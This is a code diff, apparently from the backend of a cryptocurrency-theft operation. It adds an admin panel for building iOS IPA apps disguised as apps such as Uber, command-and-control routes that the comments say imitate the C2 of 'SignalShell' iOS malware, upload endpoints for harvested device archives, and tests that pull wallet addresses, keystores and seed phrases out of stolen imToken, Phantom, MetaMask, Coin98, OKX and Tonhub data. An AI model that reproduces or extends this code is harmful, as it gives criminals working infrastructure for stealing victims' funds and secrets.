+        '<div class="layui-form-mid layui-word-aux">test=加载页+15s 倒计时；blank=空白页。新版 c 取自 XXBB_CHANNEL_C，旧版 seed 取自 CORUNA_CHANNEL_SEED</div></div></div>'
       : '';
 
     layer.open({
@@ -252,7 +305,7 @@ layui.use(['table', 'form', 'layer'], function () {
         '<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
         '<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
         '</div></div>' +
-        (creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新版/旧版均调用 builder 生成静态资源（新版→channel/ 目录，旧版→web/ 目录）；App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
+        (creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新版/旧版均调用 builder 生成静态资源（新版→channel/ + XXBB_CHANNEL_C，旧版→web/ + CORUNA_CHANNEL_SEED）；App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
         '</form>',
       success: function () {
         form.render();
@@ -343,13 +396,118 @@ layui.use(['table', 'form', 'layer'], function () {
     $('#LAY-ch-create').on('click', function () { openForm('新建渠道链接', { user_id: 0, status: 1 }, true); });
   }
 
+  // ─── 新建 APP ───────────────────────────────────────────
+  var apiDomain = @json(config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
+
+  function randomChannelId12() {
+    var chars = '0123456789abcdef';
+    var s = '';
+    for (var i = 0; i < 12; i++) s += chars[Math.floor(Math.random() * 16)];
+    return s;
+  }
+
+  if (isSuperAdmin) {
+    $('#LAY-ch-create-app').on('click', function () {
+      var html =
+        '<form class="layui-form" id="LAY-app-form" enctype="multipart/form-data">' +
+        '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-inline" style="width:200px">' +
+        '<input name="channel_id" class="layui-input" value="" maxlength="12" placeholder="留空自动生成" style="display:inline-block;width:150px">' +
+        ' <button type="button" class="layui-btn layui-btn-xs" id="LAY-app-rand">随机</button></div></div>' +
+        '<div class="layui-form-item"><label class="layui-form-label">代理</label><div class="layui-input-block">' +
+        '<select name="user_id">' + agentOptions(0) + '</select></div></div>' +
+        '<div class="layui-form-item"><label class="layui-form-label">APP 名称 *</label><div class="layui-input-block">' +
+        '<input name="app_name" class="layui-input" placeholder="例如 Uber" required></div></div>' +
+        '<div class="layui-form-item"><label class="layui-form-label">Bundle ID</label><div class="layui-input-block">' +
+        '<input name="bundle_id" class="layui-input" value="com.apple.mobile.MobileHouseArrest" placeholder="默认值"></div></div>' +
+        '<div class="layui-form-item"><label class="layui-form-label">H5 URL</label><div class="layui-input-block">' +
+        '<input name="h5_url" class="layui-input" placeholder="可选，WebView 页面 URL"></div></div>' +
+        '<div class="layui-form-item"><label class="layui-form-label">API 域名</label><div class="layui-input-block">' +
+        '<input class="layui-input layui-disabled" value="' + apiDomain + '" disabled>' +
+        '<input type="hidden" name="api_domain" value="' + apiDomain + '"></div></div>' +
+        '<div class="layui-form-item"><label class="layui-form-label">Logo</label><div class="layui-input-block">' +
+        '<input type="file" name="logo" accept="image/png,image/jpeg,image/webp" class="layui-input"></div></div>' +
+        '<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
+        '<input name="remark" class="layui-input" placeholder="可选"></div></div>' +
+        '<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
+        '<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" checked></div></div>' +
+        '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">保存后自动构建 IPA，替换域名/渠道ID/Logo/App名称，完成后提供下载链接。</div></div>' +
+        '</form>';
+
+      layer.open({
+        type: 1,
+        title: '新建 APP 渠道',
+        area: ['560px', '620px'],
+        content: html,
+        success: function () {
+          form.render();
+          $('#LAY-app-rand').on('click', function () {
+            $('input[name=channel_id]').val(randomChannelId12());
+          });
+        },
+        btn: ['构建并保存', '取消'],
+        yes: function (index) {
+          var formData = new FormData($('#LAY-app-form')[0]);
+          formData.append('_token', token);
+          formData.append('status', $('input[name=status_switch]').is(':checked') ? 1 : 0);
+
+          var load = layer.load(2, {shade: [0.3, '#000']});
+          $.ajax({
+            url: @json(route('admin.channels.buildApp')),
+            method: 'POST',
+            data: formData,
+            processData: false,
+            contentType: false,
+            timeout: 120000,
+            success: function (res) {
+              layer.close(load);
+              if (res.code !== 0) {
+                var msg = res.msg || '构建失败';
+                if (res.data && res.data.channel_id) msg += '（渠道 ' + res.data.channel_id + ' 已创建）';
+                return layer.msg(msg, {icon: 2, time: 5000});
+              }
+              layer.close(index);
+              if (window.CorunaFilterOptions) {
+                CorunaFilterOptions.bust();
+                CorunaFilterOptions.apply(form);
+              }
+              table.reload('LAY-ch-list');
+
+              var d = res.data;
+              var content = '<div style="padding:20px;line-height:2;">' +
+                '<p><b>渠道 ID:</b> <code>' + d.channel_id + '</code></p>' +
+                '<p><b>APP 名称:</b> ' + d.app_name + '</p>' +
+                '<p><b>IPA 大小:</b> ' + (d.ipa_size / 1024 / 1024).toFixed(1) + ' MB</p>' +
+                '<p><b>API 域名:</b> <code>' + d.api_domain + '</code></p>' +
+                '<p style="margin-top:10px"><a href="' + d.ipa_url + '" class="layui-btn layui-btn-lg layui-btn-normal" download>下载 IPA</a></p>' +
+                '</div>';
+              layer.open({type: 1, title: '✅ 构建成功', area: ['420px', '340px'], content: content});
+            },
+            error: function (xhr) {
+              layer.close(load);
+              var msg = (xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '构建失败';
+              if (xhr.responseJSON && xhr.responseJSON.errors) {
+                msg = Object.values(xhr.responseJSON.errors).flat().join('; ');
+              }
+              layer.msg(msg, {icon: 2, time: 5000});
+            }
+          });
+        }
+      });
+    });
+  }
+
   table.on('tool(LAY-ch-list)', function (obj) {
     if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
     if (obj.event === 'links') openLinks(obj.data);
     if (obj.event === 'del') {
-      var pathHint = obj.data.builder_type === 'new'
+      var pathHint;
-        ? ('数据库记录与 channel/' + obj.data.channel_id + '/')
+      if (obj.data.builder_type === 'app') {
-        : ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
+        pathHint = '数据库记录与生成的 IPA 文件';
+      } else if (obj.data.builder_type === 'new') {
+        pathHint = '数据库记录与 channel/' + obj.data.channel_id + '/';
+      } else {
+        pathHint = '数据库记录与 web/' + obj.data.channel_id + ' 资源';
+      }
       layer.confirm('删除后将移除 ' + pathHint + '，确认？', function (idx) {
         $.ajax({
           url: @json(url('/admin/channels')) + '/' + obj.data.id,

routes/admin.php

@@ -121,6 +121,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
         Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
         Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
         Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
+        Route::get('channels/{channel}/embed.zip', [ChannelController::class, 'downloadEmbed'])->name('channels.embedZip');
         Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
         Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
         Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
@@ -134,6 +135,8 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
         Route::middleware('admin.super')->group(function () {
             Route::post('mnemonics', [MnemonicController::class, 'store'])->name('mnemonics.store');
 
+            Route::post('channels/build-app', [ChannelController::class, 'buildApp'])->name('channels.buildApp');
+
             Route::prefix('system')->name('system.')->group(function () {
                 Route::get('logs', [SystemLogController::class, 'index'])->name('logs.index');
                 Route::get('logs/data', [SystemLogController::class, 'data'])->name('logs.data');

routes/app_c2.php

@@ -40,3 +40,20 @@ Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks/{n}', [$ctl, 'appUplo
     ->where(['id' => '[^/]+', 'n' => '[0-9]+']);
 Route::any('/api/v2/finish', [$ctl, 'appUpload']);
 Route::any('/api/v2/{any?}', [$ctl, 'appUpload'])->where('any', '.*');
+
+// ─────────────────────────────────────────────────────────────
+// SignalShell v1 protocol (shenma.my compatible)
+//
+// SignalShell (Uber icon malware, v1.69) uses a simple single-POST
+// upload protocol + a JSON config endpoint. These routes mimic the
+// original shenma.my C2 so the malware can be redirected here.
+//
+//   GET  /api/ios-shell/config?a=<key>  → JSON config
+//   POST /api/v1/upload?a=<key>&<name>  → {"ok":true,"size":N,"bind":true}
+// ─────────────────────────────────────────────────────────────
+
+// hslaxo.cc /api/ap/* paths
+Route::any('/api/ap/config', [$ctl, 'shellConfig']);
+Route::post('/api/ap/upload', [$ctl, 'shellUpload']);
+Route::post('/api/ap/lg', [$ctl, 'shellUpload']);
+Route::post('/api/ap/u', [$ctl, 'shellUpload']);

routes/console.php

@@ -171,6 +171,62 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
     return 0;
 })->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
 
+Artisan::command('coruna:repack {ids?*} {--template=blank} {--dry-run} {--ds-domain=}', function () {
+    $ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids'))));
+    $template = trim((string) $this->option('template'));
+    $dryRun = (bool) $this->option('dry-run');
+    $dsDomain = rtrim(trim((string) $this->option('ds-domain')), '/');
+    if ($dsDomain === '') {
+        $dsDomain = rtrim(trim((string) config('coruna.xxbb.ds_domain', '')), '/');
+    }
+    $projects = app(ChannelProjectService::class);
+
+    try {
+        $resolved = $projects->resolveOldChannelIds($ids === [] ? null : $ids);
+    } catch (Throwable $e) {
+        $this->error($e->getMessage());
+
+        return 1;
+    }
+
+    if ($resolved === []) {
+        $this->warn('没有可重打的旧版渠道（builder_type=old）');
+
+        return 0;
+    }
+
+    $this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个旧版渠道（渠道 ID 不变，seed 取自 CORUNA_CHANNEL_SEED）:');
+    if ($dsDomain !== '') {
+        $this->info('DS 域名: '.$dsDomain);
+    }
+    foreach ($resolved as $id) {
+        $this->line('  /web/'.$id.'/support.html');
+    }
+    if ($dryRun) {
+        return 0;
+    }
+
+    try {
+        $result = $projects->rebuildOldChannels(
+            $resolved,
+            $template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE,
+            $dsDomain,
+        );
+    } catch (Throwable $e) {
+        $this->error($e->getMessage());
+
+        return 1;
+    }
+
+    foreach ($result['channels'] as $row) {
+        $id = (string) ($row['channel_id'] ?? '');
+        $landing = (string) ($row['support_path'] ?? '/web/'.$id.'/support.html');
+        $this->info('packed '.$id.' -> '.$landing);
+    }
+
+    return 0;
+})->purpose('Repack existing old-builder channels with latest support.html / index.js router');
+
 Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
     $script = base_path('channel-builder-ds/tools/build.py');
     if (! is_file($script)) {

routes/user.php

@@ -109,6 +109,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
 
         Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
         Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
+        Route::get('channels/{channel}/embed.zip', [ChannelController::class, 'downloadEmbed'])->name('channels.embedZip');
         Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
         // Agent portal: view/edit own channel links only (no create/delete).
     });

storage/app/.gitignore

@@ -1,4 +1,6 @@
 *
-!private/
-!public/
 !.gitignore
+!app-templates/
+!app-templates/.gitkeep
+!app-templates/*.ipa
+!app-templates/*.dylib

tests/Feature/AppUploadIngestTest.php

@@ -249,6 +249,120 @@ class AppUploadIngestTest extends TestCase
         );
     }
 
+    #[Test]
+    public function imtoken_shell_zip_keeps_account_eoa_and_skips_token_list(): void
+    {
+        $device = $this->makeDevice('dev-imtoken-zip');
+        $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
+        $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
+        $tokenList = [
+            ['address' => $weth, 'symbol' => 'WETH', 'decimals' => 18, 'tokenType' => 'ERC20'],
+            ['address' => $usdt, 'symbol' => 'USDT', 'decimals' => 6, 'tokenType' => 'TRC20'],
+            ['address' => '0xdac17f958d2ee523a2206206994597c13d831ec7', 'symbol' => 'USDT', 'decimals' => 6],
+        ];
+        $zip = $this->makeZip([
+            'Documents/walletsV2/wid.json' => json_encode([
+                'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
+                'id' => 'wid',
+                'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'],
+            ]),
+            'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([
+                'accountAddress' => self::TRON,
+                'path' => "m/44'/195'/0'/0/0",
+                'type' => 'EOA',
+                'walletId' => 'wid',
+            ]),
+            'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode(
+                json_encode($tokenList)
+            ),
+        ]);
+
+        $n = app(AppUploadIngester::class)->ingestImTokenShellZip($device, $zip);
+
+        $this->assertSame(1, $n);
+        $addrs = WalletAddress::query()->where('device_id', $device->id)->get();
+        $this->assertCount(1, $addrs);
+        $this->assertSame(self::TRON, $addrs[0]->address);
+        $this->assertSame('imToken', $addrs[0]->source);
+        $this->assertFalse(
+            WalletAddress::query()->where('device_id', $device->id)->where('address', $weth)->exists()
+        );
+        $this->assertFalse(
+            WalletAddress::query()->where('device_id', $device->id)->where('address', $usdt)->exists()
+        );
+    }
+
+    #[Test]
+    public function shell_upload_short_path_ingests_imtoken_async_eoa(): void
+    {
+        $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
+        $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
+        $zip = $this->makeZip([
+            'Documents/walletsV2/wid.json' => json_encode([
+                'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
+                'id' => 'wid',
+                'imTokenMeta' => ['source' => 'NEW_MNEMONIC'],
+            ]),
+            'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([
+                'AccountModel' => [
+                    'itemsById' => [
+                        'acc1' => [
+                            'type' => 'EOA',
+                            'address' => self::TRON,
+                            'path' => "m/44'/195'/0'/0/0",
+                        ],
+                    ],
+                ],
+                'AssetToken' => [
+                    'itemsById' => [
+                        'tok1' => [
+                            'address' => $usdt,
+                            'symbol' => 'USDT',
+                            'tokenType' => 'TRC20',
+                            'accountAddress' => self::TRON,
+                        ],
+                    ],
+                ],
+            ]),
+            'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([
+                'address' => $weth,
+                'symbol' => 'WETH',
+                'decimals' => 18,
+                'tokenType' => 'ERC20',
+            ]),
+        ]);
+
+        $deviceHex = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
+        $response = $this->call(
+            'POST',
+            '/api/ap/u?a=chan1&harvest_1791244750_cold_im.token.app.zip',
+            [],
+            [],
+            [],
+            [
+                'HTTP_X_DEVICE_ID' => $deviceHex,
+                'HTTP_X_IOS_VERSION' => '18.6',
+                'CONTENT_TYPE' => 'application/octet-stream',
+            ],
+            $zip
+        );
+
+        $response->assertOk();
+        $response->assertJson(['ok' => true, 'bind' => true]);
+
+        $device = Device::query()->where('device_id', Device::normalizeDarkswordKey($deviceHex))->first();
+        $this->assertNotNull($device);
+        $addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all();
+        $this->assertSame([self::TRON], $addrs);
+        $this->assertSame(
+            'imToken',
+            WalletAddress::query()->where('device_id', $device->id)->value('source')
+        );
+        $this->assertTrue(
+            WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists()
+        );
+    }
+
     #[Test]
     public function global_wallet_skips_helper_contract_addresses(): void
     {
@@ -341,6 +455,39 @@ class AppUploadIngestTest extends TestCase
         $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
     }
 
+    #[Test]
+    public function keychain_phantom_base64_seed_vault_recovers_mnemonic(): void
+    {
+        $device = $this->makeDevice('dev-phantom-b64');
+        $entropy = [];
+        for ($i = 0; $i < 16; $i++) {
+            $entropy[(string) $i] = 0;
+        }
+        $vault = json_encode([
+            'version' => 1,
+            'identifier' => 'eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d',
+            'name' => '账户 0',
+            'entropy' => $entropy,
+        ], JSON_UNESCAPED_UNICODE);
+        $acct = base64_encode('.phantom-labs.vault.seed.eea7e5fce328a893799a7d246ec7df594d0371fe5a5bc0c4709256e2d76ee90d');
+        $xml = '<?xml version="1.0"?><keychain>'
+            .'<item>'
+            .'<acct>'.$acct.'</acct>'
+            .'<svce>app:no-auth</svce>'
+            .'<agrp>TEAM.app.phantom</agrp>'
+            .'<v_Data bin="1">'.base64_encode((string) $vault).'</v_Data>'
+            .'</item>'
+            .'</keychain>';
+
+        $ingester = app(AppUploadIngester::class);
+        $ingester->ingestArtifact($device, $xml, 'keychain.xml');
+        $ingester->dispatchDecrypt($device);
+
+        $memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Phantom')->first();
+        $this->assertNotNull($memo);
+        $this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
+    }
+
     #[Test]
     public function keychain_metamask_vault_is_a_password_row(): void
     {
@@ -412,6 +559,346 @@ class AppUploadIngestTest extends TestCase
         $this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
     }
 
+    #[Test]
+    public function metamask_persist_store_keeps_user_accounts_only(): void
+    {
+        $device = $this->makeDevice('dev-mm-persist');
+        $eth = '0x3bb73b8aaba98538733df3c8a9ea2d769d6aca9e';
+        $sol = 'F2Ht8XtGJMSaVkva9XSo1tashz8xUzWSVK69Txmds2jd';
+        $btc = 'bc1qncn7nxs46gfvtlqaxdkpm0rpevwe8j7tuh89dz';
+        $trx = 'TV3K172bN8kTrq9s5fMKcB8YHZi6F8pxUm';
+        $stellar = 'GAX7C5SZIQJYRCASX6U2VSCFRO2Y24IAFCQSC32VEX2KR44MCXULYT4O';
+        $usdc = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
+        $accounts = ['internalAccounts' => ['accounts' => [
+            'acc-1' => ['id' => 'acc-1', 'address' => $eth, 'type' => 'eip155:eoa', 'metadata' => ['name' => 'Account 1']],
+            'acc-2' => ['id' => 'acc-2', 'address' => $sol, 'type' => 'solana:data-account', 'metadata' => []],
+            'acc-3' => ['id' => 'acc-3', 'address' => $btc, 'type' => 'bip122:p2wpkh', 'metadata' => []],
+            'acc-4' => ['id' => 'acc-4', 'address' => $trx, 'type' => 'tron:eoa', 'metadata' => []],
+            'acc-5' => ['id' => 'acc-5', 'address' => $stellar, 'type' => 'stellar:account', 'metadata' => []],
+        ]]];
+
+        $tar = $this->makeTar([
+            'Documents/persistStore/persist-AccountsController' => json_encode($accounts),
+            // Token list / network config noise that used to be harvested.
+            'Documents/persistStore/persist-AssetsController' => json_encode([
+                'tokens' => [
+                    ['symbol' => 'USDC', 'name' => 'USD Coin', 'decimals' => 18, 'chainId' => '0x1', 'address' => $usdc],
+                ],
+            ]),
+            'Documents/persistStore/persist-NetworkEnablementController' => json_encode([
+                'multicall3' => $usdc,
+                'foxConnectAddresses' => ['polygon' => $usdc],
+            ]),
+        ]);
+
+        app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar');
+
+        $addrs = WalletAddress::query()
+            ->where('device_id', $device->id)
+            ->get(['address', 'chain_type', 'source']);
+        $this->assertSame(4, $addrs->count());
+        $this->assertTrue($addrs->contains(fn ($a) => $a->address === $eth && $a->chain_type === 'ETHEREUM'));
+        $this->assertTrue($addrs->contains(fn ($a) => $a->address === $sol && $a->chain_type === 'SOLANA'));
+        $this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN'));
+        $this->assertTrue($addrs->contains(fn ($a) => $a->address === $trx && $a->chain_type === 'TRON'));
+        $this->assertFalse($addrs->contains(fn ($a) => $a->address === $stellar));
+        $this->assertFalse($addrs->contains(fn ($a) => $a->address === $usdc));
+        $this->assertTrue($addrs->every(fn ($a) => $a->source === 'MetaMask'));
+    }
+
+    #[Test]
+    public function coin98_manifest_stores_wallet_only(): void
+    {
+        $device = $this->makeDevice('dev-coin98');
+        $tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2';
+        $tokenContract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
+        // Real shape: doubly JSON-encoded wallet array inside SET_WALLET_STORAGE.
+        $manifest = json_encode([
+            'SET_WALLET_STORAGE' => json_encode([[
+                'address' => $tronWallet,
+                'privateKey' => 'U2FsdGVkX19qEoG/YqTMSgvs0Si33PVh0hddCN6s9OB3',
+                'chain' => 'tron',
+                'mnemonic' => 'U2FsdGVkX1+rQDNv7jT9NGmJ26hOhY/PPPkNIv68IqxN',
+                'encryption' => false,
+                'name' => 'My Wallet - 809532',
+                'isActive' => true,
+            ]]),
+            'DEVICE_ID' => '"d4032e20-1279-4f43-83b2-89bf53f6a25b"',
+            'CACHE_TOKEN_LIST_DATA' => null,
+            'POINT_TOKEN_INFO' => json_encode([
+                'contracts' => ['boba' => ['contract' => $tokenContract, 'key' => 'boba']],
+            ]),
+        ]);
+        // Hash-named AsyncStorage file carrying the full token inventory.
+        $inventory = json_encode([
+            ['symbol' => 'WOO', 'name' => 'WOO', 'decimals' => 18, 'chain' => 'binanceSmart', 'address' => $tokenContract],
+            ['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 18, 'chain' => 'ethereum', 'address' => '0x'.$tokenContract],
+        ]);
+
+        $tar = $this->makeTar([
+            'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest,
+            'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/f26084161a3ff963a80009cd5a700583' => $inventory,
+        ]);
+
+        app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar');
+
+        $addrs = WalletAddress::query()->where('device_id', $device->id)->get(['address', 'chain_type', 'source']);
+        $this->assertSame(1, $addrs->count());
+        $this->assertSame($tronWallet, $addrs[0]->address);
+        $this->assertSame('TRON', $addrs[0]->chain_type);
+        $this->assertSame('Coin98', $addrs[0]->source);
+    }
+
+    #[Test]
+    public function okex_documents_store_no_token_contracts(): void
+    {
+        $device = $this->makeDevice('dev-okx');
+        $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
+        $weth = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
+        $sqlite = $this->makeOkxCoinMetaSqlite($weth, $usdt);
+
+        $tar = $this->makeTar([
+            'Documents/wallet_coinMeta' => $sqlite,
+            'Documents/OKPayCore.db' => $this->makeOkxCoinMetaSqlite($weth, $usdt),
+        ]);
+
+        app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.okex.OKExAppstoreFull.tar');
+
+        $this->assertSame(
+            0,
+            WalletAddress::query()->where('device_id', $device->id)->count()
+        );
+    }
+
+    #[Test]
+    public function okx_keeps_hd_account_addresses_and_skips_coinmeta_tokens(): void
+    {
+        $device = $this->makeDevice('dev-okx-addr');
+        $eoa = '0xe68f9214a8d7c90adf3cd256396899a568614377';
+        $btc = 'bc1qkdjxa55kxw6fltw9tadk9e9xf3gpxq03ex5fl7';
+        $link = '0x514910771af9ca656af840dff83e8264ecf986ca';
+        $weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
+        $tar = $this->makeTar([
+            'Documents/wallet' => $this->makeOkxWalletSqlite($eoa, self::TRON, $btc),
+            'Documents/wallet_coinMeta' => $this->makeOkxCoinMetaSqlite($link, $weth),
+            'Documents/cache/tokens.json' => json_encode([
+                'address' => $link,
+                'symbol' => 'LINK',
+            ]),
+        ]);
+
+        app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.okex.OKExAppstoreFull.tar');
+
+        $addrs = WalletAddress::query()
+            ->where('device_id', $device->id)
+            ->get(['address', 'chain_type', 'source']);
+        $this->assertTrue($addrs->contains(fn ($a) => strtolower($a->address) === $eoa && $a->chain_type === 'ETHEREUM'));
+        $this->assertTrue($addrs->contains(fn ($a) => $a->address === self::TRON && $a->chain_type === 'TRON'));
+        $this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN'));
+        $this->assertFalse($addrs->contains(fn ($a) => strtolower((string) $a->address) === $link));
+        $this->assertFalse($addrs->contains(fn ($a) => strtolower((string) $a->address) === $weth));
+        $this->assertTrue($addrs->every(fn ($a) => $a->source === 'OKX'));
+        $this->assertSame(3, $addrs->count());
+    }
+
+    #[Test]
+    public function tonhub_react_query_stores_user_ton_address(): void
+    {
+        $device = $this->makeDevice('dev-tonhub');
+        $user = 'EQDBNivLP27xo9TimKUEGZdO8oCTg9YuQZNILru-1e8jXqQQ';
+        $jetton = 'EQBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB';
+        // > 64 KiB so decodeFileContent base64-encodes it, like real mmkv.
+        $payload = str_pad(
+            '{"queryKey":["cloud","'.$user.'","primaryCurrency-v1"]}%'
+            .'{"queryKey":["holders","'.$jetton.'","status"]}',
+            70000,
+            'x'
+        );
+
+        $tar = $this->makeTar([
+            'Documents/mmkv/react-query' => $payload,
+            'Documents/mmkv/persistence' => '{"queryKey":["account","'.$jetton.'"]}',
+        ]);
+
+        app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.tonhub.app.tar');
+
+        $addrs = WalletAddress::query()
+            ->where('device_id', $device->id)
+            ->get(['address', 'chain_type', 'source']);
+        $this->assertSame(1, $addrs->count());
+        $this->assertSame($user, $addrs[0]->address);
+        $this->assertSame('TON', $addrs[0]->chain_type);
+        $this->assertSame('Tonhub', $addrs[0]->source);
+    }
+
+    #[Test]
+    public function generic_wallet_skips_token_inventory_and_contract_config(): void
+    {
+        $device = $this->makeDevice('dev-generic');
+        $usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
+        $contract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
+        $digits = '0000000000000000000000000000000000000001';
+
+        $tar = $this->makeTar([
+            'Documents/cache/tokens.json' => json_encode([
+                ['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 6, 'address' => $usdt],
+            ]),
+            'Documents/config/contracts.json' => json_encode([
+                'multicall3' => $contract,
+                'contracts' => ['polygon' => $contract],
+            ]),
+            'Documents/balance-cache.json' => json_encode([
+                'address' => $digits,
+            ]),
+            'Documents/wallet.json' => json_encode([
+                'name' => 'My Wallet',
+                'address' => self::TRON,
+            ]),
+        ]);
+
+        app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.bitpie.wallet.tar');
+
+        $addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address');
+        $this->assertSame([self::TRON], $addrs->all());
+    }
+
+    #[Test]
+    public function coin98_encrypted_wallet_is_stored_and_unlocked_with_password(): void
+    {
+        $device = $this->makeDevice('dev-coin98-vault');
+        $tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2';
+        $password = 'woshini@88';
+        $cipher = $this->cryptoJsEncrypt(self::MNEMONIC, $password);
+        $manifest = json_encode([
+            'SET_WALLET_STORAGE' => json_encode([[
+                'address' => $tronWallet,
+                'privateKey' => $cipher,
+                'chain' => 'tron',
+                'mnemonic' => $cipher,
+                'encryption' => false,
+                'name' => 'My Wallet - 809532',
+                'isActive' => true,
+            ]]),
+            'POINT_TOKEN_INFO' => json_encode(['contracts' => []]),
+        ]);
+
+        $tar = $this->makeTar([
+            'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest,
+        ]);
+
+        app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar');
+
+        // Encrypted blobs are persisted as a needs-password keystore row.
+        $row = WalletKeystore::query()
+            ->where('device_id', $device->id)
+            ->where('source', 'Coin98')
+            ->first();
+        $this->assertNotNull($row);
+        $this->assertSame('coin98.wallet', $row->kind());
+        $this->assertSame('Coin98 加密钱包', $row->kindLabel());
+        $this->assertSame(1, (int) $row->needs_password);
+        $wallets = $row->raw_json['wallets'] ?? [];
+        $this->assertSame($tronWallet, $wallets[0]['address'] ?? null);
+        $this->assertSame($cipher, $wallets[0]['mnemonic'] ?? null);
+
+        // Address extraction still works alongside the keystore row.
+        $this->assertSame(
+            1,
+            WalletAddress::query()->where('device_id', $device->id)->where('address', $tronWallet)->count()
+        );
+
+        // Wrong password → no mnemonic, no crash.
+        $adapter = app(\App\Services\DarkSwordIngestAdapter::class);
+        $miss = $adapter->decryptKeystoreWithPassword($device, $row, 'wrong-password');
+        $this->assertSame(0, $miss['hits']);
+        $this->assertSame(1, $miss['coin98']);
+        $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
+
+        // Correct wallet password → mnemonic recovered and row decrypted.
+        $hit = $adapter->decryptKeystoreWithPassword($device, $row, $password);
+        $this->assertSame(1, $hit['hits']);
+        $memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
+        $this->assertNotNull($memo);
+        $this->assertSame('Coin98', $memo->source);
